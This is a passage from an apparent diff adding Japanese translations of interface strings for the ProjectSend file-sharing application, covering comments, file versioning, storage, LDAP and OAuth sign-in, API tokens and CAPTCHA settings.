"アカウントを削除しますか?", + "Delete failed job?": "失敗したジョブを削除しますか?", + "Delete them permanently": "完全に削除する", + "Delete this comment?": "このコメントを削除しますか?", + "Delete this many days after being found": "検出からこの日数が経過したら削除", + "Delete this many days after expiry": "期限切れからこの日数が経過したら削除", + "Download :name": ":name をダウンロード", + "Downloaded by": "ダウンロードした人", + "Download history": "ダウンロード履歴", + "Download history for :name": ":name のダウンロード履歴", + "Duration": "所要時間", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "各ファイルの編集ページには「このファイルへのコメントを許可する」スイッチがあります。オンにしたファイルだけがコメントを受け付けます。", + "edited": "編集済み", + "Editing window (minutes)": "編集できる時間 (分)", + "Email settings saved.": "メール設定を保存しました。", + "Error": "エラー", + "Every download, newest first": "すべてのダウンロード (新しい順)", + "Every download across the installation, newest first": "インストール全体のすべてのダウンロード (新しい順)", + "Every recorded action, newest first": "記録されたすべての操作 (新しい順)", + "Expiration": "有効期限", + "Expired :date": ":date に期限切れ", + "Expired only": "期限切れのみ", + "Extension, e.g. pdf": "拡張子 (例: pdf)", + "Failed at": "失敗日時", + "Failed job deleted.": "失敗したジョブを削除しました。", + "Failed jobs": "失敗したジョブ", + "Failed to connect: :error": "接続できませんでした: :error", + "File retention": "ファイルの保持", + "File retention settings": "ファイル保持の設定", + "Files accessible to :name": ":name がアクセスできるファイル", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "データベースに対応する記録がないままディスク上に残っているファイル — アップロードの中断、バックアップからの復元、ファイルシステムへの直接操作", + "Files that accept comments": "コメントを受け付けるファイル", + "Filters": "フィルタ", + "Folder renamed.": "フォルダの名前を変更しました。", + "Folders": "フォルダ", + "Grid view": "グリッド表示", + "Hold comments from visitors for approval": "訪問者のコメントを承認まで保留する", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "投稿後、自分のコメントを編集・削除できる時間です。まったく許可しない場合は 0 を指定します。", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "期限切れファイルを完全に削除するまで保持する期間です。0 を指定すると期限切れの当日に削除します。", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "孤立ファイルを完全に削除するまで保持する期間です。0 を指定すると検出した当日に削除します。", + "IP address": "IP アドレス", + "Job queued for retry.": "ジョブを再実行のためキューに入れました。", + "Language: :language": "言語: :language", + "Last month": "先月", + "Last ran": "最終実行", + "Last week": "先週", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "AWS S3 の場合は空欄のままにします。MinIO や Backblaze などの S3 互換サービスを使う場合に入力してください。", + "Leave empty for a file that never expires.": "期限なしのファイルにするには空欄のままにしてください。", + "Limit file types uploading to": "アップロードできるファイル種別を制限する対象", + "List view": "リスト表示", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "このフォルダを公開します。中のファイルは、今あるものも後から追加されるものも、どの階層でもすべて公開になります。", + "Message": "メッセージ", + "Moving": "移動中", + "Never run": "未実行", + "Next cleanup :date": "次回のクリーンアップ: :date", + "No accounts match \":search\".": "「:search」に一致するアカウントはありません。", + "Nobody (no restriction)": "誰にも適用しない (制限なし)", + "No comments yet.": "コメントはまだありません。", + "No expired files.": "期限切れのファイルはありません。", + "No extensions added yet.": "拡張子はまだ追加されていません。", + "No failed jobs.": "失敗したジョブはありません。", + "No files match these filters.": "この条件に一致するファイルはありません。", + "None of the selected files could be edited.": "選択したファイルはいずれも編集できませんでした。", + "Nothing is waiting for approval.": "承認待ちのものはありません。", + "of :count": "/ :count", + "of :quota": "/ :quota", + "on": "—", + "Only the fields you change here are applied — everything else is left as-is.": "ここで変更した項目だけが適用され、それ以外はそのまま残ります。", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "影響を受けるのは、この保存先を有効にした後のアップロードだけです。すでにローカルに保存されているファイルはそのまま残り、これまでどおり利用できます。保存先間での移行は行われません。", + "Open public page": "公開ページを開く", + "Optional. Confines uploads to a subfolder within the bucket.": "任意。アップロード先をバケット内のサブフォルダに限定します。", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "孤立ファイルの自動削除はローカルストレージにしか働かないため、外部ストレージが有効な間はオフのままです (以前に有効にしていた場合も同様)。", + "Orphan files": "孤立ファイル", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "クラウドアカウントの送信メールは、一元管理されたリレー経由で送られます。受信者に表示される差出人のアドレスと名前は引き続き指定できます。", + "Page": "ページ", + "Path prefix": "パスの接頭辞", + "Pending": "保留中", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "projectsend.org の公開リポジトリを定期的に確認し、新しいバージョンがあればダッシュボードに通知します。自動でダウンロードや適用が行われることはありません。", + "Permanently failed": "完全に失敗", + "Post comment": "コメントを投稿", + "Preview of :name": ":name のプレビュー", + "Previous month": "前月", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "ProjectSend の定番のメールデザイン。シンプルで中立的なので、どの公開ページ・ポータルのテーマにもよく合います。", + "ProjectSend :version is available": "ProjectSend :version が利用できます", + "Public folder": "公開フォルダ", + "Published :date": ":date に公開", + "Queue": "キュー", + "Reassign them to another account": "別のアカウントに引き継ぐ", + "Region": "リージョン", + "Remove a category": "カテゴリを外す", + "Remove categories": "カテゴリの解除", + "Rename folder": "フォルダの名前を変更", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "ほとんどの S3 互換サービス (MinIO など) で必要です。AWS S3 の場合はオフのままにしてください。", + "Requires Upload files": "「ファイルのアップロード」権限が必要です", + "Retry": "再実行", + "Root": "ルート", + "Scheduler": "スケジューラー", + "Scheduler settings": "スケジューラーの設定", + "Search accounts…": "アカウントを検索…", + "Search and filter": "検索と絞り込み", + "Secret key": "シークレットキー", + "Select files to bulk-edit them": "一括編集するファイルを選択してください", + "Sender identity": "差出人情報", + "Set to…": "変更後の値…", + "Share": "共有", + "Shared with client": "クライアントに共有済み", + "Shared with me": "自分に共有されたもの", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "フォルダを共有すると、その中身も今後追加される分もすべて共有されます。共有設定は編集ページで管理できます。", + "Someone commented on a file": "ファイルにコメントがありました", + "Sort by": "並べ替え", + "Storage settings": "ストレージ設定", + "Storage settings saved.": "ストレージ設定を保存しました。", + "Success: connected to bucket \":bucket\".": "成功: バケット「:bucket」に接続しました。", + "Task": "タスク", + "Test connection": "接続をテスト", + "Test result": "テスト結果", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "このアカウントは :files 件のファイルと :folders 件のフォルダを所有しています。これらをどうしますか?", + "This cannot be undone.": "この操作は取り消せません。", + "This client has no accessible files yet.": "このクライアントがアクセスできるファイルはまだありません。", + "This deletion is permanent": "この削除は取り消せません", + "This file is public because it's inside the public folder \":name\".": "このファイルは公開フォルダ「:name」の中にあるため公開されています。", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "このフォルダは削除できません。自分がアップロードしていないファイルが :count 件含まれています。|このフォルダは削除できません。自分がアップロードしていないファイルが :count 件含まれています。", + "This removes it from the failed jobs list without retrying it.": "再実行せずに、失敗したジョブの一覧から取り除きます。", + "Total size": "合計サイズ", + "To update, run:": "更新するには、次を実行してください:", + "Unavailable while external storage is active": "外部ストレージが有効な間は利用できません", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "期限切れファイルと違い、孤立ファイルには論理削除できるデータベースの記録がありません。削除したら元には戻せません。", + "Unlimited storage": "ストレージ無制限", + "Update :count files": ":count 件のファイルを更新", + "Uploaded and shared": "アップロードして共有済み", + "Uploaded by client": "クライアントがアップロード", + "Uploaded by me": "自分がアップロード", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "クライアント自身がアップロードしたもの、または直接・グループ経由・共有フォルダ経由で割り当てられたものです。", + "Uploading into \":name\".": "「:name」にアップロードしています。", + "Upload settings saved.": "アップロード設定を保存しました。", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "アップロード設定を保存しました。警告: :extensions を許可すると危険な場合があります。リスクを理解したうえでのみリストに残してください。", + "used": "使用済み", + "Used in the public folder URL.": "公開フォルダの URL に使われます。", + "Use external storage for new uploads": "新しいアップロードに外部ストレージを使う", + "Use path-style addressing": "パス形式のアドレス指定を使う", + "View all downloads (:count)": "すべてのダウンロードを表示 (:count)", + "View full history (:count)": "すべての履歴を表示 (:count)", + "View release notes": "リリースノートを表示", + "View release notes on GitHub": "GitHub でリリースノートを表示", + "Visitor": "訪問者", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "ログインしていない訪問者は公開コメントしか書けないため、以下で公開コメントを許可するまでこの設定は効果がありません。", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "ファイルが期限切れになったとき、または持ち主のないファイルがディスク上で見つかったときの扱い", + "Where": "場所", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "定期タスクが実際に動いているか、そして送信に失敗したキュー内のメール", + "Who can comment on files, and which files accept comments": "誰がファイルにコメントできるか、どのファイルがコメントを受け付けるか", + "Who can see this": "これを見られる人", + "Who can write a comment": "コメントを書ける人", + "Write a comment…": "コメントを入力…", + "You cannot grant permissions your own role does not have: :permissions": "自分のロールにない権限は付与できません: :permissions", + "You need upload permission to create folders": "フォルダを作成するにはアップロード権限が必要です", + "Your comment will be reviewed before it appears.": "コメントは確認後に表示されます。", + "Your name": "お名前", + "— No change —": "— 変更なし —", + "Newest first": "新しい順", + "Oldest first": "古い順", + "Name (A–Z)": "名前 (A–Z)", + "Name (Z–A)": "名前 (Z–A)", + "Largest first": "サイズの大きい順", + "Smallest first": "サイズの小さい順", + "Transfers": "転送", + "Top clients by storage": "使用容量の多いクライアント", + "Largest files": "サイズの大きいファイル", + "Expired files": "期限切れのファイル", + "A private note. Nobody else can read it, staff included.": "自分だけのメモです。スタッフを含め、ほかの誰にも読めません。", + "Reply": "返信", + "Replying to :name": ":name への返信", + "The team working on this file. No client ever sees it.": "このファイルを担当しているチームです。クライアントには一切表示されません。", + "With :name": ":name と", + "Your reply goes to :name only, and to staff.": "返信は :name とスタッフにだけ届きます。", + "Your reply goes to the same people as the comment above.": "返信は、上のコメントと同じ相手に届きます。", + "Public comments are turned off for this site.": "このサイトでは公開コメントが無効になっています。", + "Only a file that is publicly visible can have public comments.": "公開コメントを付けられるのは、公開されているファイルだけです。", + "The team, and everyone this file is shared with. Clients cannot see each other.": "チームと、このファイルを共有している全員です。クライアント同士はお互いを見られません。", + "Everyone above, plus anyone who opens this file without logging in.": "上記の全員に加えて、ログインせずにこのファイルを開いた人も含みます。", + "Not signed in": "未ログイン", + "New comment on \":name\"": "「:name」への新しいコメント", + ":author commented on \":name\".": ":author が「:name」にコメントしました。", + ":author commented on \":name\"": ":author が「:name」にコメントしました", + "Read the comment": "コメントを読む", + ":count new comments": ":count 件の新しいコメント", + "There are :count new comments for you:": "あなた宛の新しいコメントが :count 件あります:", + "Someone": "どなたか", + "New comment on a file": "ファイルへの新しいコメント", + "Multiple new comments (digest)": "複数の新しいコメント (ダイジェスト)", + "Marked the file \":subject\" as a revision of \":previous\"": "ファイル「:subject」を「:previous」の新しいバージョンとして設定しました", + "Removed the version link from the file \":subject\"": "ファイル「:subject」のバージョン関連付けを解除しました", + "A file was marked as a revision of another": "ファイルが別のファイルの新しいバージョンとして設定されました", + "A file version link was removed": "バージョンの関連付けが解除されました", + "A newer version of a file I have is available": "自分が持っているファイルの新しいバージョンが公開されたとき", + "A newer version of \":previousName\" is available: :itemName": "「:previousName」の新しいバージョンが公開されました: :itemName", + "A newer version of a file you have is available": "お持ちのファイルの新しいバージョンが公開されました", + "\":previous\" has been replaced by a newer version: \":name\".": "「:previous」は新しいバージョン「:name」に置き換わりました。", + ":count files you have were replaced by newer versions": "お持ちのファイル :count 件が新しいバージョンに置き換わりました", + "Newer versions of the following :count files are available:": "次の :count 件のファイルについて、新しいバージョンが公開されています:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "ファイルを自分自身の新しいバージョンにすることはできません。", + "That file is already part of this file's version history.": "そのファイルは、すでにこのファイルのバージョン履歴に含まれています。", + "That file has already been revised by \":name\". Remove that link first.": "そのファイルはすでに「:name」に置き換えられています。先にその関連付けを解除してください。", + "That file has just been revised by another file. Reload and try again.": "そのファイルは、たった今別のファイルに置き換えられました。再読み込みしてもう一度お試しください。", + "This version history is too long. Remove an older link first.": "このバージョン履歴は長すぎます。先に古い関連付けを解除してください。", + "That file can't be used as the previous version.": "そのファイルは以前のバージョンとして使用できません。", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "このファイルはすでに他の人と共有されているため、新しいバージョンとして設定できません。担当者に依頼してください。", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "このファイルは「:name」の新しいバージョンです。共有設定は「:name」で管理してください。すべてのバージョンがそれに従います。", + "This file is a new version of another file, and is shared with the same people as that one.": "このファイルは別のファイルの新しいバージョンで、そのファイルと同じ相手に共有されます。", + "Versions": "バージョン", + "Mark this file as a newer version of something you uploaded before.": "このファイルを、以前アップロードしたものの新しいバージョンとして設定します。", + "This version is outdated": "このバージョンは古くなっています", + "It was replaced by \":name\".": "「:name」に置き換わりました。", + "This file is a new version of": "このファイルは次の新しいバージョンです:", + "Remove link": "関連付けを解除", + "Mark as a new version": "新しいバージョンとして設定", + "Version history": "バージョン履歴", + "Version link removed.": "バージョンの関連付けを解除しました。", + "This file is now marked as a new version of \":name\".": "このファイルを「:name」の新しいバージョンとして設定しました。", + "Share this file's recipients with the original?": "このファイルの共有先を元のファイルにも引き継ぎますか?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "新しいバージョンは元のファイルと同じ相手に共有されます。誰もアクセスを失わないよう、このファイルの次の共有先が元のファイルにも追加されます:", + "No other files are available to link to.": "関連付けできる他のファイルがありません。", + "Shared through \":name\"": "「:name」を通じて共有", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "このファイルは「:name」の新しいバージョンのため、同じ相手に共有されています。閲覧できる相手を変えるには、そのファイル側を変更してください。", + "Edit sharing on \":name\"": "「:name」の共有設定を編集", + "You don't have permission to change who that file is shared with.": "そのファイルの共有先を変更する権限がありません。", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "これは「:name」の新しいバージョンで、同じ相手に共有されています。共有設定はそのファイル側で管理してください。", + "New version of": "次の新しいバージョン:", + "Replaced by": "置き換え先", + "Outdated": "旧バージョン", + "New version": "新しいバージョン", + "Replaced by :name": ":name に置き換え", + "Replaces :name": ":name を置き換え", + "There is a newer version of this file": "このファイルには新しいバージョンがあります", + "This replaces": "これが置き換えるファイル:", + "This is a new version of a file I uploaded before": "これは以前アップロードしたファイルの新しいバージョンです", + "Search your files…": "自分のファイルを検索…", + "You have no earlier files that can be replaced.": "置き換えられる以前のファイルがありません。", + "This file will be shared with the same people who have \":name\".": "このファイルは、「:name」を持っている人たちと同じ相手に共有されます。", + ":name (group)": ":name (グループ)", + "Search files…": "ファイルを検索…", + "Search…": "検索…", + "Searching…": "検索中…", + "No files match \":search\".": "「:search」に一致するファイルはありません。", + "Nothing matches \":search\".": "「:search」に一致するものはありません。", + "A client account was converted to staff": "クライアントアカウントがスタッフに変換されました", + "A staff account was converted to a client": "スタッフアカウントがクライアントに変換されました", + "A client account was created from the directory": "ディレクトリからクライアントアカウントが作成されました", + "Converted the client account \":subject\" to staff (:role)": "クライアントアカウント「:subject」をスタッフに変換しました (:role)", + "Converted the staff account \":subject\" to a client": "スタッフアカウント「:subject」をクライアントに変換しました", + "Created a client account from the directory on first sign-in": "初回ログイン時にディレクトリからクライアントアカウントを作成しました", + "Convert accounts": "アカウントの変換", + "Convert": "変換", + "Convert to client": "クライアントに変換", + "Convert to staff": "スタッフに変換", + "Convert :name to a client": ":name をクライアントに変換", + "Convert :name to staff": ":name をスタッフに変換", + "Client → staff": "クライアント → スタッフ", + "Staff → client": "スタッフ → クライアント", + "Move an account between staff and clients. Files they uploaded are always kept.": "アカウントをスタッフとクライアントの間で移します。アップロードしたファイルは常に保持されます。", + "They lose access to every staff screen immediately.": "スタッフ向け画面へのアクセスはただちに失われます。", + "They gain access to the staff screens their role allows.": "ロールで許可されたスタッフ向け画面にアクセスできるようになります。", + "Will be revoked": "取り消されるもの", + "Will be revoked and cannot be undone": "取り消され、元には戻せません", + "Will be kept": "保持されるもの", + "Nothing": "なし", + "Nothing to keep": "保持されるものはありません", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "元に戻すと「保持されるもの」の内容はすべて復元されます。取り消されたものは復元されません。", + ":files files and :folders folders they uploaded": "このアカウントがアップロードした :files 件のファイルと :folders 件のフォルダ", + "No accounts match these filters.": "この条件に一致するアカウントはありません。", + "Account converted to a client.": "アカウントをクライアントに変換しました。", + "Account converted to staff.": "アカウントをスタッフに変換しました。", + "Approve or deny this account request before converting it.": "変換する前に、このアカウント申請を承認するか却下してください。", + "You cannot convert your own account.": "自分のアカウントを変換することはできません。", + "New password": "新しいパスワード", + "New password (optional)": "新しいパスワード (任意)", + "Leave blank to keep their current password.": "現在のパスワードのままにする場合は空欄にしてください。", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "このアカウントはディレクトリ経由でログインしています。スタッフアカウントはディレクトリを使わないため、ここでパスワードを設定しないとログインできなくなります。", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "このアカウントのパスワードを設定してください。現在はディレクトリ経由でログインしていますが、スタッフアカウントはディレクトリを使いません。", + "Tokens created": "作成したトークン", + "Currently active": "現在有効", + ":count active": "有効 :count 件", + "1 permission": "1 件の権限", + ":count permissions": ":count 件の権限", + "This token carries no permissions.": "このトークンには権限がありません。", + "This account has created API tokens before, but none are live now.": "このアカウントは過去に API トークンを作成していますが、現在有効なものはありません。", + "This account has never created an API token.": "このアカウントは API トークンを作成したことがありません。", + "No longer granted to this account, so it does nothing.": "このアカウントには付与されなくなったため、何の効果もありません。", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "これらを作成・変更・無効化できるのは :name だけです。管理者は閲覧できますが、管理はできません。", + "What this token is allowed to do through the API. It can never do more than :name may.": "このトークンが API を通じてできることです。:name に許されている以上のことはできません。", + "LDAP": "LDAP", + "LDAP settings": "LDAP 設定", + "LDAP settings saved.": "LDAP 設定を保存しました。", + "Directory": "ディレクトリ", + "Connection": "接続", + "Server": "サーバー", + "Base DN": "ベース DN", + "Service account DN": "サービスアカウントの DN", + "Service account password": "サービスアカウントのパスワード", + "Email attribute": "メール属性", + "Name attribute": "名前属性", + "Additional filter (optional)": "追加のフィルタ (任意)", + "CA certificate path (optional)": "CA 証明書のパス (任意)", + "None (unencrypted)": "なし (暗号化しない)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (暗黙的 TLS)", + "Allow clients to sign in with a directory account": "クライアントがディレクトリのアカウントでログインできるようにする", + "Let clients sign in with their directory account. Staff always authenticate locally.": "クライアントがディレクトリのアカウントでログインできるようにします。スタッフは常にローカルで認証されます。", + "Create an account on first sign-in": "初回ログイン時にアカウントを作成する", + "Directory accounts are always created as clients, never as staff.": "ディレクトリのアカウントは常にクライアントとして作成され、スタッフになることはありません。", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "ディレクトリに存在するがここにアカウントがない人には、クライアントアカウントが作成され、すぐにログインします。", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "ディレクトリに存在するがここにアカウントがない人には、アカウント申請で承認を待つクライアントアカウントが作成されます。", + "Only people who already have an account here can sign in.": "ここにすでにアカウントがある人だけがログインできます。", + "Combined with the address match, to narrow who may sign in.": "アドレスの一致条件と組み合わせて、ログインできる人を絞り込みます。", + "The attribute holding the address people sign in with — usually mail.": "ログインに使うアドレスが入っている属性です。通常は mail です。", + "Where in the tree to look for people.": "ツリーのどこを対象に人を検索するかです。", + "Leave blank to search anonymously.": "匿名で検索する場合は空欄にしてください。", + "Stored encrypted, and never shown again.": "暗号化して保存され、二度と表示されません。", + "Stored encrypted. Leave blank to keep the current one.": "暗号化して保存されます。現在の値のままにする場合は空欄にしてください。", + "For a directory presenting a certificate from your own certificate authority.": "自社の認証局が発行した証明書を提示するディレクトリ向けです。", + "Unencrypted: the service account password and every client password cross the network in clear text.": "暗号化されません。サービスアカウントのパスワードも各クライアントのパスワードも、平文でネットワークを流れます。", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "クライアントのパスワードがローカルで確認できない場合、ディレクトリに照会します。スタッフアカウントは常にローカルで認証され、ディレクトリに送られることはありません。", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "このサーバーには PHP の LDAP 拡張がインストールされていないため、これらの設定は反映されません。", + "The PHP LDAP extension is not installed on this server.": "このサーバーには PHP の LDAP 拡張がインストールされていません。", + "Saves are not required to test — but the test uses the settings as last saved.": "テストに保存は必要ありませんが、テストでは最後に保存された設定が使われます。", + "Test a sign-in": "ログインをテスト", + "Email address (optional)": "メールアドレス (任意)", + "Password (optional)": "パスワード (任意)", + "Connected and bound as the service account.": "接続し、サービスアカウントとして認証しました。", + "Could not connect or bind as the service account: :error": "サービスアカウントとして接続または認証できませんでした: :error", + "Found a matching entry.": "一致するエントリが見つかりました。", + "No directory entry matched that address under the base DN.": "ベース DN の配下に、そのアドレスと一致するエントリはありませんでした。", + "The directory rejected that password.": "ディレクトリがそのパスワードを拒否しました。", + "The search failed: :error": "検索に失敗しました: :error", + "The sign-in bind failed: :error": "ログイン時の認証に失敗しました: :error", + "Signed in successfully.": "ログインに成功しました。", + "1 item": "1 件のアイテム", + ":count items": ":count 件のアイテム", + "1 API token": "1 件の API トークン", + ":count API tokens": ":count 件の API トークン", + "1 assigned client": "1 件の担当クライアント", + ":count assigned clients": ":count 件の担当クライアント", + "Managed by 1 staff member": "スタッフ 1 名が担当", + "Managed by :count staff members": "スタッフ :count 名が担当", + "1 group membership": "1 件のグループ所属", + ":count group memberships": ":count 件のグループ所属", + "1 file shared with them": "共有されたファイル 1 件", + ":count files shared with them": "共有されたファイル :count 件", + "Approve these accounts automatically": "これらのアカウントを自動承認する", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "ディレクトリが本人確認を済ませているため、改めて審査する相手はいません。まずアカウント申請で一件ずつ確認したい場合はオフのままにしてください。", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "自分で登録したクライアントは自動的に承認されます。この設定はそれとは別で、連動しません。", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "自分で登録したクライアントは引き続き承認待ちになります。この設定はそれとは別で、変更されません。", + "Container filesystem": "コンテナのファイルシステム", + "Docker volume": "Docker ボリューム", + "Files stored on": "ファイルの保存先", + "Host directory": "ホストのディレクトリ", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "つまり docker compose down -v も docker volume prune もこれらを削除しますし、サーバーのバックアップでは丸ごと漏れる可能性があります。", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "どのボリュームにも置かれていないため、このコンテナを再ビルド・再作成するとすべてのファイルが完全に消えます。これ以上アップロードする前に、ホスト上のディレクトリへ移動してください。", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "アップグレードしても残りますが、置かれているのは自分で選んだディレクトリではなく Docker 管理のボリュームです。", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "アップグレードしても残りますが、置かれているのは自分で選んだディレクトリではなく Docker ボリューム :volume です。", + "Uploaded files are inside Docker": "アップロードしたファイルが Docker 内にあります", + "Uploaded files are stored inside the container": "アップロードしたファイルがコンテナ内に保存されています", + "1 more language available": "あと 1 言語が利用可能です", + ":count more languages available": "あと :count 言語が利用可能です", + ":left of :limit downloads left": ":limit 回中 :left 回のダウンロードが残っています", + ":limit downloads per person": "1 人あたり :limit 回のダウンロード", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name は再度設定するまでパスワードのみでサインインするようになり、この変更についてメールで通知されます。このサイトで二要素認証が必須の場合、次回のサインイン時に再登録を求められます。", + ":provider accepted your secret key.": ":provider がシークレットキーを受け入れました。", + ":provider connected.": ":provider を接続しました。", + ":provider did not provide an email address, which is required to sign in.": ":provider はサインインに必要なメールアドレスを提供しませんでした。", + ":provider disconnected.": ":provider を切断しました。", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider はアドレスが確認済みかどうかを一切報告しないため、これをオンにすると新しいアカウントは作成できますが、既存のアカウントにはサインインできません。すでにサインインした状態で設定から接続することは引き続き可能です。", + ":provider rejected your secret key.": ":provider がシークレットキーを拒否しました。", + ":provider settings saved.": ":provider の設定を保存しました。", + ":used of :limit downloads used": ":limit 回中 :used 回のダウンロードを使用しました", + "A :provider account was connected": ":provider アカウントが接続されました", + "A :provider account was disconnected": ":provider アカウントが切断されました", + "Accounts at :domain cannot sign in with :provider here.": ":domain のアカウントはここで :provider を使ってサインインできません。", + "A client account was created from :provider": ":provider からクライアントアカウントが作成されました", + "Allowed email domains": "許可するメールドメイン", + "Allow signing in with :provider": ":provider でのサインインを許可する", + "Always a client account. Staff accounts are only ever created by an administrator.": "常にクライアントアカウントです。スタッフアカウントは管理者のみが作成します。", + "Always available — the application is written in English, so it needs no translation file.": "常に利用可能です。アプリケーションは英語で書かれているため、翻訳ファイルは必要ありません。", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "このメールアドレスはすでに別のアカウントで使用されており、:provider はそれがあなたのものであることを確認しませんでした。代わりにパスワードでサインインし、設定から :provider を接続してください。", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "プロバイダーが確認していないアドレスは、ここにすでに存在するアカウントと決して一致させられません。これをオフにすると、他人のアドレスであなたのプロバイダーに登録できる人は誰でも、その人としてサインインできてしまいます。", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "管理者があなたのアカウントから二要素認証を削除しました。セキュリティ設定から再度設定できます。心当たりがない場合は管理者にご連絡ください。", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "ファイルにアクセスできる人は誰でも、そのファイルに割り当てられたカテゴリを目にします。ポータル内のクライアントや、公開リンク・共有リンクを持つ人などです。サインイン済みのクライアントは、このリストのいずれかのカテゴリでファイルを絞り込むこともできます。カテゴリの作成・名前変更・削除ができるのはあなたのチームだけです。", + "Applies whenever a password is chosen, not when one is used to sign in": "サインインにパスワードを使うときではなく、パスワードを設定するたびに適用されます", + "Approve those accounts automatically": "それらのアカウントを自動的に承認する", + "A secret is stored. Leave this blank to keep it.": "シークレットが保存されています。そのまま維持するには空欄のままにしてください。", + "At least :count characters.": "最低 :count 文字。", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "0.0(全員をボットとして扱う)から 1.0(全員を人間として扱う)の間。通常の値は 0.5 です。", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "CAPTCHA は現在オフです。プロバイダーを選び、そのキーを入力してオンにしてください。", + "CAPTCHA settings saved.": "CAPTCHA の設定を保存しました。", + "Categories are visible outside your team": "カテゴリはチームの外からも表示されます", + "Change yours": "自分のを変更", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "新しいパスワードを Have I Been Pwned の漏えいデータベースと照合します。パスワードそのものはこのサーバーを離れることはなく、送信されるのはハッシュの先頭 5 文字だけです。", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "シークレットキーをプロバイダーで確認します。誰もチャレンジを解く必要はありません。", + "Client ID": "クライアント ID", + "Client registration": "クライアント登録", + "Client secret": "クライアントシークレット", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "カンマ区切り。空欄にするとすべてのアドレスを許可します。", + "Comments from visitors": "訪問者からのコメント", + "Complete the security check and try again.": "セキュリティチェックを完了してもう一度お試しください。", + "Configure it myself": "自分で設定する", + "Connected": "接続済み", + "Connected accounts": "接続済みアカウント", + "Connected the :provider account of \":subject\"": "「:subject」の :provider アカウントを接続しました", + "Continue with :provider": ":provider で続行", + "Could not reach :provider: :error": ":provider に接続できませんでした: :error", + "Created a client account from :provider on first sign-in": "初回サインイン時に :provider からクライアントアカウントを作成しました", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "アプリ全体の日時はこのタイムゾーンで表示されます。初めてサインインした際にブラウザーから検出されました。", + "Default language": "既定の言語", + "Directory (tenant) ID": "ディレクトリ(テナント)ID", + "Disabled": "無効", + "Disconnect": "切断", + "Disconnected the :provider account of \":subject\"": "「:subject」の :provider アカウントを切断しました", + "Downloaded :count time(s) so far. Your own downloads never count.": "これまでに :count 回ダウンロードされました。自分自身のダウンロードは決してカウントされません。", + "Download limit": "ダウンロード上限", + "Download limit reached": "ダウンロード上限に達しました", + "Each person separately": "各人ごとに個別に", + "Enabled": "有効", + "Enter a secret key first.": "先にシークレットキーを入力してください。", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any 